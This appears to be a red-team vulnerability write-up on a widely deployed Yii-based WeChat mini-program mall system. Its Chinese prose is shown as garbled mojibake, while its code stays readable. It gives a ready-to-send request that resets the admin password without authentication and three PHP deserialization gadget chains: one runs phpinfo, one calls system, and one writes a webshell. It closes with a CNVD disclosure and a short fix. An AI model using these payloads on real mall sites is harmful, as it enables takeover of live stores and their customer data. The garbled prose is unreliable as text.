0x01 åè¨
å¨æå¹´ææçä¸æ¬¡æ»é²æ¼ç»ä¸ï¼æ¯èµé¾åº¦è¾å¤§ï¼ææéä¼é½ç»å¼äºæ£é¢çªç ´å¼å§éé±¼å社工ï¼åºé¢åæäºçµä¿¡è¯éªçç°åºãä½ä¸ºä¸åæä¼ ç»æ æçWEBçï¼è¿æ¯å¸æè½éè¿WEBç«ç¹å¯»æ¾çªç ´å£ãå¨å¯¹ç®æ è¿è¡ä¿¡æ¯æéçè¿ç¨ä¸ï¼æ¾å°äºç®æ æ个åååå¼éäºå¾®ä¿¡å°ç¨åºååç³»ç»ï¼éè¿æ¾æ纹对æ¯ï¼åæåºç®æ 使ç¨çç³»ç»æ¯â禾å ååâï¼ç±æ¤å±å¼äºå¯¹è¿å¥ç³»ç»ç代ç 审计ä¹è·¯ï¼æä¸ææå°çæ¼æ´åå·²æ交ç»CNVDã
 â禾å ååâæ¯å½å 使ç¨éè¾å¤§çå°ç¨åºå»ºç«ç³»ç»ï¼ä»æ纹æç´¢ç»ææ¥ç(body="const _scriptUrl")ï¼ç®æ æ°éå¨2Wå·¦å³ï¼ç¨æ·åºæ°è¿æ¯æ¯è¾å¤§çã
0x02 代ç 审计
为äºå°½å¯è½çå¤ç°å½æ¶ççå®æ åµï¼æå°½é模æä¸å½æ¶ç®æ ä¸æ ·çç¯å¢ï¼PHP7ï¼disable_functionsï¼WAFçï¼ãåªå¨æµè¯ç«ç¹è¿è¡æ¼ç¤ºï¼ä¸è¬æ建å®æä¹åç禾å ååçé¢å¦ä¸æ示ã
è½ç´æ¥çå°ç页é¢å°±åªæ¯ä¸ä¸ªç»éå£ï¼å¾å¤æä½é½éè¦ç»éæè½æä½ã禾å æ¯éç¨YIIæ¡æ¶è¿è¡äºæ¬¡å¼åçï¼æ´ä½ä»£ç è¿æ¯æ¯è¾ç®æ´ææçãå 为éç¨äºYIIæ¡æ¶ï¼å¦æä½è ä¸èªå·±ä½æ»ï¼è¿æ¯å¾é¾åºç°SQLæ³¨å ¥ä¹ç±»çæ¼æ´ã
第ä¸ä¸ªæ¾å°çæ¯ä¸ä¸ªé»è¾æ¼æ´ï¼æªç»éæ åµä¸å¯ä»¥ç´æ¥è¶æé置管çåçå¯ç ãå®ä½å°æ¼æ´æ件controllers/admin/PasswordController.phpï¼è¿éæä¾çåè½æ¯ç®¡çåå¿è®°å¯ç çåè½ã
继ç»çè¿ä¸ªåè½ç访é®æéï¼å¯ä»¥çåºedit-passwordç«ç¶åloginä¸æ ·ï¼ä¸éè¦ç»å½å°±å¯ä»¥è®¿é®ï¼é£ä¹æ们就å¯ä»¥å¨æªææçæ åµä¸ä¿®æ¹ç®¡çåadminçå¯ç ã
è¶æä¿®æ¹ç®¡çåå¯ç çpocå¦ä¸ï¼:
POST /web/index.php?r=admin%2Fpassport%2Fedit-password HTTP/1.1
Host:Â www.xxx.com
Cookie: ï¼å·æ°ç»é页è·åç»ç»Cookieï¼
form%5Bcaptcha%5D=lxcq&form%5Bchecked%5D=false&form%5Busername%5D=admin&form%5Bpass%5D=admin8881&form%5BcheckPass%5D=admin8881&form%5Bmobile%5D=13800000001&user_type=1&mall_id=&_csrf=Sb4pjMU6cTcrKLfqjwJWdhm-d5Zt7J1BWiFUZtiLoDRx9mHJlnAFel9N06G_VhgbL89C_C66-gY2agFTiurvYA%3D%3D
å ¶ä¸form%5Bcaptcha%5Dè¿ä¸ªæ¯éªè¯ç ï¼å¯ä»¥é便填ï¼ä½å¿ é¡»æã
_csrfæ¯ç¨äºæ£éªCSRFçéæºæ°ï¼ç»éå£æç»éçæ°æ®å å°±å¯ä»¥è·åå°ã
form%5Bpass%5Dåform%5BcheckPass%5D代表æ°å¯ç ã
form%5Busername%5Då¿ é¡»æ¯ä¸ä¸ªåå¨çç¨æ·åï¼é»è®¤adminæ¯åå¨ç管çåç¨æ·ã
éç½®ä¹åï¼å°±å¯ä»¥ç»å½ç¨admin/admin8881ç»å½åå°äºã
ç»éåå°ææ³åçäºæ è¯å®æ¯æ¾ä¸ä¼ æ¿æéãç¶èç°å®æ åµæ¯å¤±æçï¼ç±äºç¦¾å éç¨äºYIIæ¡æ¶ï¼ä»£ç ä¸ä½¿ç¨çä¸ä¼ ä¹æ¯ç¨çYIIèªå¸¦çä¸ä¼ ç±»ï¼å¹¶éå¶äºå 许ä¸ä¼ æ件çåç¼ï¼å¦ä¸å¾æ示ã
è¿ç§ç½ååçåç¼éå¶æ¯æ²¡æåæ³ç»è¿çï¼åªè½æ¾å ¶ä»getshellçæ¹å¼ãå½ä»¤æ§è¡æ¯æ²¡ææ¾å°çï¼ä½æ¯æ¾å°äºä¸ä¸ªååºååçæ¼æ´ï¼è½ç¶YIIæ¡æ¶æ¬èº«ä¸åå¨ååºååæ¼æ´ï¼ä½æ¯å´æä¾äºå¯ä¾ååºååæ¼æ´çå©ç¨é¾ã
å®ä½å°æ¼æ´æ件
controllers/api/testOrderSubmit/IndexController.php
继ç»è·è¸ªdecodeæ¹æ³ï¼è¿æ¯YIIå¤çåºååæ°æ®çå ¸ååæ³ï¼å¯ä»¥çå°å¦æjson_decode失败ä¼è°ç¨åççunserializeæ¥è¿è¡ååºååï¼è¿å°±ä¼é æååºååæ¼æ´äºã
ä¸é¢å°±æ¯éè¦æé ååºååå©ç¨é¾äºï¼ç½ä¸æå¾å¤å ³äºYIIååºååå©ç¨é¾çæç« ï¼ææç»éæ©çæ¯ä»¥è¿ç¯æç« ä¸ºåºç¡
ââhttps://www.anquanke.com/post/id/254429ãââ大佬ç»æ们æ»ç»äºå¾å¤æ¡YIIååºååçå©ç¨é¾ï¼ä½æ¯å®é ä¸è½ç¨çä¸å¤ï¼å¯è½æ¯çæ¬ä¸ä¸è´å§ï¼å¾å¤æ¡å©ç¨é¾éé¢çç±»å¨ç¦¾å è¿è¾¹æ¾ä¸å°ã
é¦å æ¾å°ç第ä¸æ¡å©ç¨é¾æ¯å¯ä»¥æ§è¡ä»»ææ åæ¹æ³çå©ç¨é¾ï¼å¯ä»¥ç¨è¿æ¡å©ç¨é¾æ¥æ§è¡phpinfoå½æ°ã
<?php
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close = "phpinfo";
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;       Â
public function __construct() {           Â
$this->_dataReader = new FnStream();       Â
}Â Â Â Â
}
}
namespace {Â
use yii\db\BatchQueryResult;  Â
echo urlencode(serialize(new BatchQueryResult()));
}
çæçpayloadæ¿æ¢ä¸é¢çform_dataåæ°å³å¯ã
POSTÂ /web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1Â HTTP/1.1
Host:Â www.xxx.com
Content-Type:Â application/x-www-form-urlencoded
Content-Length:Â 233
form_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D
æ£å¸¸çæ§è¡äºphpinfoç代ç ï¼å¹¶ä¸ç®æ ç«ç¹å¯ç¨äºdisable_functionsï¼ç¦æ¢äºä¸è¬å½ä»¤æ§è¡çå½æ°ã注æï¼å¦æè¿ééå°æ示ååidä¸åå¨æè å·²è¿æè¿ç§ï¼å°±éè¦ä¿®æ¹_mall_idåæ°ï¼è¿ä¸ªåæ°å¾å®¹æçå°ï¼åºæ¬é½æ¯1ï¼2ï¼3ä¸çæ个ã
第äºæ¡æ¾å°å¯ä»¥å©ç¨çååºååå©ç¨é¾æ¯ä¸é¢çå©ç¨é¾ï¼è¿ä¹æ¯åé¢æç« ä¸ç»åºæ¥çå©ç¨é¾ã
<?php
namespace yii\rest {   Â
class IndexAction {       Â
public $checkAccess;       Â
public $id;       Â
public function __construct() {
$this->checkAccess="system";Â Â Â Â Â Â Â Â Â Â Â
$this->id="calc.exe";Â Â Â Â Â Â
}Â Â Â
}
}
namespace yii\web {
use yii\rest\IndexAction;
class DbSession {      Â
protected $fields = [];    Â
public $writeCallback;      Â
public function __construct() {Â
$this->writeCallback=[(new IndexAction),"run"];     Â
$this->fields['1']Â =Â 'aaa';Â Â
}
    }
}
namespace yii\db {    use yii\web\DbSession;
class BatchQueryResult {Â
private $_dataReader;       Â
public function __construct() {
$this->_dataReader = new DbSession();      Â
}Â Â Â Â
}
}
namespace {  Â
use yii\db\BatchQueryResult; Â
echo urlencode(serialize(new BatchQueryResult()));
}
?>
æ¬æ¥å¨æµè¯ç¯å¢æ¯æ²¡æé®é¢çï¼ä½æ¯å¨ç®æ ç¯å¢ä¸å´åç°æ§è¡çæ¶åå 为disable_functionsçåå 导è´systemå½æ°æ§è¡ä¸æåãè½ç¶ä»phpinfoçå°çä¿¡æ¯ä¸å¯ä»¥çåºï¼disable_functionsç¦ç¨çä¸ä¸¥æ ¼ï¼æ¯å¯ä»¥ç»è¿çï¼ä½æ¯ç»è¿æ¹å¼åéè¦å¤ä¸ªå¯æ§çåæ°ã
è½ç¶æ们ç°å¨ä¸è½æ§è¡å½ä»¤æ§è¡çå½æ°ï¼ä½æ¯è¿æ¡é¾è¿æ¯ç»æ们æä¾äºä¸ä¸ªæ§è¡ä»»æåªæä¸ä¸ªåæ°çå½æ°çæ¹æ³ãæ们çç®æ æ¯åä¸ä¸ªwebshellçæ件ï¼ç¬¬ä¸ä¸ªæè·¯æ¯éè¿æ§è¡ååæ°æ¹æ³æ¥åæ件ï¼æ们æ³å°çæ¹æ³å¦ä¸ï¼
1ï¼ éè¿assertæ¥æ§è¡php代ç ãä½æ¯å¨php7çç¯å¢ä¸assertä¸åæ¯å½æ°ï¼èæ¯å ³é®åãæ¯ä¸è½éè¿call_user_funcæ¥åè°æ§è¡çï¼æ以è¿æ¡è·¯å¤±è´¥äºã
2ï¼ éè¿æ件å å«includeæè requireæ¥å å«æ¬å°æ件æ§è¡php代ç ãä½æ¯å®é æµè¯çç»ææ¥çï¼includeårequireä¹ä¸æ¯å½æ°ï¼åªæ¯å ³é®åã
3ï¼ éè¿file_put_contentsæè fwriteæ¥åæ件ï¼ä½æ¯è¿ä¸¤ä¸ªå½æ°é½éè¦ä¼ éè³å°ä¸¤ä¸ªåæ°ã
è¿æ¡è·¯éå°äºå°é¾ï¼è½ç¶ç°å¨æ们è½æ§è¡ä»»æååæ°æ¹æ³ï¼ä½æ¯è¿æ¯ä¸è½æ§è¡ç³»ç»å½ä»¤æè åæ件ã第äºä¸ªæè·¯æ©å±ååºååå©ç¨é¾ï¼ä»æ§è¡ä»»æååæ°æ¹æ³åææ§è¡ä»»æ两个åæ°æ¹æ³ã
å¨å®æç¯å¢ä¸ç°å代ç 审计è¿æ¯ææ¶é´ååçï¼å¨ä¸åç¿»ç代ç åï¼æç»è¿æ¯æ¾å°äºä¸æ¡Alipay\AlipayRequesterç±»çexecuteæ¹æ³æ¥æ©å±å©ç¨é¾ï¼å¦ä¸å¾æ示ã
å¯ä»¥çåºexecuteæ¹æ³ç´æ¥è°ç¨äºcall_user_funcæ¹æ³ï¼ç¬¬äºä¸ªåæ°$paramså¯æ§ï¼ç¬¬ä¸ä¸ªåæ°$this->getUrl()ä¹å¯æ§ï¼åªæ¯ä¼æä¸äºç¹æ®å符ï¼æ以è¿æ¡å©ç¨é¾åªéç¨äºlinuxç¯å¢ï¼å¦ææ¯windowsç¯å¢ä¼å 为ç¹æ®å符çåå¨è导è´çææ件ä¸æåï¼ãå®æ´çå©ç¨é¾å¦ä¸ï¼
<?php
namespace Alipay {   Â
class AlipayRequester {  Â
public $callback = "file_put_contents";
public $gateway = "xxxx";   Â
public $charset = "334.php"; Â
}
}
namespace yii\rest {
use Alipay\AlipayRequester; Â
class IndexAction {       Â
public $checkAccess;     Â
public $id;  Â
public function __construct() {Â
$this->checkAccess=[(new AlipayRequester),"execute"];   Â
$this->id='<?php $a="fwrite";$h = fopen($_REQUEST[f], "a");$a($h, htmlspecialchars_decode(htmlspecialchars_decode($_REQUEST[c])));';
}Â Â
}
}
namespace yii\web {Â
use yii\rest\IndexAction;Â
class DbSession {      Â
protected $fields = [];   Â
public $writeCallback;     Â
public function __construct() { Â
$this->writeCallback=[(new IndexAction),"run"];     Â
$this->fields['1']Â =Â 'aaa';Â Â Â Â Â Â
}
    }
    }
   Â
namespace yii\db {  Â
use yii\web\DbSession; Â
class BatchQueryResult {    Â
private $_dataReader;      Â
public function __construct() {Â
$this->_dataReader = new DbSession();  Â
}Â Â Â Â
}
}
namespace { Â
use yii\db\BatchQueryResult;Â
echo urlencode(serialize(new BatchQueryResult()));
}
?>
使ç¨ä¸é¢çpayloadä¹åï¼ä¼å¨ç®æ æ ¹ç®å½çæä¸ä¸ªæ件åæ¯âxxxx?charset=333.phpâçæ件ï¼å 容æ¯$this->idéé¢çå¼ã
å¦ææ¯windowsçç¯å¢ï¼è¿æå¦ä¸æ¡å©ç¨é¾ï¼çç»å欢é 读å¨æçå°ä¼ä¼´èªå·±ç 究äºã
0x03 ç»è®º
æ¿å°è¿å¥ç³»ç»çæºç ï¼ç²ç¥ä¸çè§å¾éç¨äºç¥åæ¡æ¶å¾å®å ¨ï¼ä½æ¯å®é ä¸è¿æ¯æä¸å°çé®é¢çï¼æ¬äººåªæ¯æåºäºä¸ä¸ªè¶æççæ¼æ´åä¸ä¸ªååºååçæ¼æ´ãä½è ç¸ä¿¡ï¼è¿å¥ç³»ç»è¿æå ¶ä»çæ¼æ´ï¼ä½æ¯å 为已ç»æ¿å°äºæ³è¦çæéï¼å°±æ²¡æ继ç»æ·±å ¥äºãå¦æéå°ååºååä¸æåï¼å¤§æ¦æ¯yiiççæ¬ä¸å¹é 导è´çã
æåï¼ææçåè¯ä½ ï¼ä¸éè¦ä¿®æ¹ç®¡çåå¯ç ä¹å¯ä»¥ååºååï¼ååºååæ¯æªææçï¼è¿ä¸¤ä¸ªæ¯å®å ¨ç¬ç«çæ¼æ´ã
0x04 ä¿®å¤å»ºè®®
æªææ访é®åååºååæ¼æ´åå·²æ¥éç»CNVD å¹³å°
临æ¶ä¿®å¤å»ºè®®ï¼
注éæcontrollers/admin/PasswordController.phpéçactionEditPasswordå½æ°åcontrollers/api/testOrderSubmit/IndexController.phpéçactionPreviewå½æ°